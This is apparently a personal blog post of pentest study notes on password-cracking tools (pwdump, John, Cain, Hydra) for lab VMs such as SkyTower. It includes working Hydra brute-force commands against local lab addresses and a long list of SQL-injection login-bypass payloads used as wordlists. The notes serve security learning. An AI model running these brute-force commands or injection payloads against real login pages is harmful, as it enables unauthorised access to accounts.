Skip to main content

Pwd crack, pwdump, john, cain, hydra

========================================
book 4 pg 165; file 4.6 31:37
* if u have no access to hashes, u may want to consider pwd guessing (using tools like thc-hydra) or sniffing clear text or challenge/response exchange (e.g, cain, tcpdump, etc)
* if u have hashes & want to crack the pwd
-for salted hash from unix like, use tradional pwd cracking (john ripper)
-for lanman, nt hash from windows, use rainbow tables, or tradtional pwd cracking (john or cain)
* if you have lanman challenge/response ntlm1 or ntlm2 catures use pwd cracking (cain)
* if u have lanman. nt hash and smbaccess use pass the hash
========================================
file 4.4 3:52 minute

Pwdump tools
a. pwdump3 to pwdump6
b. fgdump
c. pwdump7

========================================
john

* john.pot file = when john cracks a pwd, it displays the result on the screen and stores it in the john.pot file. John will not load pwd that it has already cracked based on what is stored in john.pot. No act name, only pwd format, hash and cracked pwd are stored.
* john.rec file = john stores its current status in the john.rec file. file is updates every 10 minutes in case john or the system crashed.
*  a patch to the john source code to extend its feature to crack NT hashes, compile NT-capable John to support SSE2 funtionality.
* to speed up pwd cracking, some tools rely on GPU processing which can be btw 10-50 times faster than cpu for pwd cracking. most of these tools rely on cuda (compute unified device architecture) supported by nvidia graphics cards. free gpu md5 pwd cracker @ http://bvernoux.free.fr/md5/index.php and free cuda multiforcer which supports unsalted md4,md5 and nt hashes. http://www.offensive-security.com/documentation/backtrack-4-cuda-guide.pdf
(book4 pg 99, file 44 36:00)
========================================
Cain (file 4.5 04:00)
* cracks most pwd types that a pen tester will encounter
* It can sniff the pkts and capture pwd also
* traceroute, port usage,wirless scanner
========================================
>> hydra -l Kent -P hydrapasslist.txt 10.0.1.6 http-post-form "/?page=login:user=^USER^&pass=^PASS^&Login=Login:Login failed" -V

where :
/?page => login is the login page for the app
user=^USER^&pass=^PASS^&Login => field USER and PASS  are target web site fields. Could be different such as username and password
Login=Login:Login failed => continue until it gets a response that doesnt contain text "Login failed"

Brute force web app

http://insidetrust.blogspot.com/2011/08/using-hydra-to-dictionary-attack-web.html
https://blog.g0tmi1k.com/dvwa/login/
https://linuxhint.com/crack-web-based-login-page-with-hydra-in-kali-linux/

-didnt work for doopy vuln machine. showing false positive

===============

hydra  for skytower
#-hydra -L hydrauserlist.txt -P hydrapasslist.txt 10.0.1.4 http-post-form "/login.php:email=^USER^&password=^PASS^:F=Login Failed"

--where
--hydrauserlist.txt
popo123
akslda
dasjd
'-'
john@skytech.com
sara@skytech.com
william@skytech.com
JWzXuBJJNy
dasjde1
1dasjd11
--hydrapasslist.txt
popo123
akslda
hereisjohn
dasjd
JWzXuBJJNy
'-'
hereisjohn1
dasjde1
1dasjd11
1senseablesenseable
senseable
ihatethisjob
1hatethisjob
ihateth1isjob
--website : http://10.0.1.4/login.php
email=^USER^&password=^PASS^:F=Login Failed" = email and password are the fields on the form/page that user is expected to fill out. Login Failed is the message that we get if the user/pwd arent correct.

The list below is working with but know that when will show success with any message that is  not login failure so  sql injection alerts cam out as false negative so I changed the command and start looking for Welcome message with S:. In this case, it is a lot shorter list but only shows one page so with skytower VM it didnt show William or Sata's page which would have to be discovered from DB


--hydrauserlist.txt
source: http://securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html
'-'
' '
'&'
'^'
'"'
' or "-'
' or " '
' or "&'
' or "^'
' or "*'
"_"
" "
"&"
"^"
"*"
" or ""_"
" or ""-"
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
--hydrapasslist.txt
'-'
' '
'&'
'^'
'"'
' or "-'
' or " '
' or "&'
' or "^'
' or "*'
"_"
" "
"&"
"^"
"*"
" or ""_"
" or ""-"
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

Comments

Popular posts from this blog

VM 13 : Basic Pentest 1 csec

Notes: Walkthru: 1. https://medium.com/@evire/basic-pentesting-1-7251fb3e3f9e [ w/metasploi t using Wordpress t] 2. https://prasannakumar.in/infosec/vulnhub-basic-pentesting-1-writeup/ [ w/metasploit using ftp ] 3.  https://www.ceos3c.com/hacking/basic-pentesting-1-walkthrough/ [ by uploading php-reverse-shell in wordpress ] 4. http://k3ramas.blogspot.com/2018/02/basic-pentesting-1-walkthrough.html [  access wordpress config file to get pwd and access the DB ] 5.  https://cowsayroot.com/walkthrough-basic-pentesting-1/ [ Wpscan, ftp metasploit vulnerability, phpbash ] 6.   http://www.hackingarticles.in/hack-the-basic-penetration-vm-boot2root-challenge/    [use msfvenom to create  to create php shell to be uploaded in Wordpress ] 7.   https://d7x.promiselabs.net/2018/01/30/ctf-basic-pentesting-a-guide-for-beginners/ [adding command using using PHP] Notes:  Ports - 21...ProFTPD 1.3.3c - 22 openSSH 7.2p2 ubuntu ...

VM: pWnOS 2.0

Walkthru A. http://defsecurityjam.blogspot.co.uk/2015/07/pwnos-version-2-walkthrough.html [reading source page, Simple PHP Blog Perl exploit, Python revershell using oneliner, looking around ] b. https://blog.g0tmi1k.com/2012/09/pwnos-2-php-web-application/ [metasploit using PHP Blog exploit] c. http://netsec.ws/?p=430 [burpsuite, sql porxy] d. https://blog.g0tmi1k.com/2012/09/pwnos-2-sql-injection/ [sql injection, union. Very good explanation of the process of what is being done. Didnt try cmds] e. https://www.youtube.com/watch?v=ytzZfI27ueU [sql injection, sqlmap read file and upload reverse shell using sqlmap] f. https://ub3rsec.github.io/pages/2016/pwnosv2-sqli.html [sql injection, union using burp Very good . It list all email field that we are passing and modifying thru burp suite/proxy/intercept. One could enter those union statements in the email field but in this case, the field truncates and remove the later part of union statment which is why we...

38 VM : d0not5top: 1.2

https://www.vulnhub.com/?q=D0Not5top&sort=date-des&type=vm Walkthru: A. https://github.com/Hamza-Megahed/CTFs/blob/master/d0not5top/README [  burp proxy, adding hostnames to /etc/host shows following but not working for me. Not showing localhost stuff, $ dirb http://172.16.34.163/control/ -X .txt,.php,.html     + http://172.16.34.163/control/hosts.txt     127.0.0.1 localhost     127.0.0.1 D0Not5top.ctf     #127.0.0.1       MadBroAdN1n.ctf ## AD105 M0F05] B. https://adaywithtape.blogspot.com/2017/04/vulnhub-d0not5top-writeup.html [use nc cmd to get the flag and echo cmd to decode the flag, wfuzz, virtualhost, partially binary string, google language translate, curl  -header  host request, additional domains, OWSAP ZAP, exiftool, HD, hash64,] wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 192.168.56.102/FUZZ Changing the syntax just a tad to only show html 200...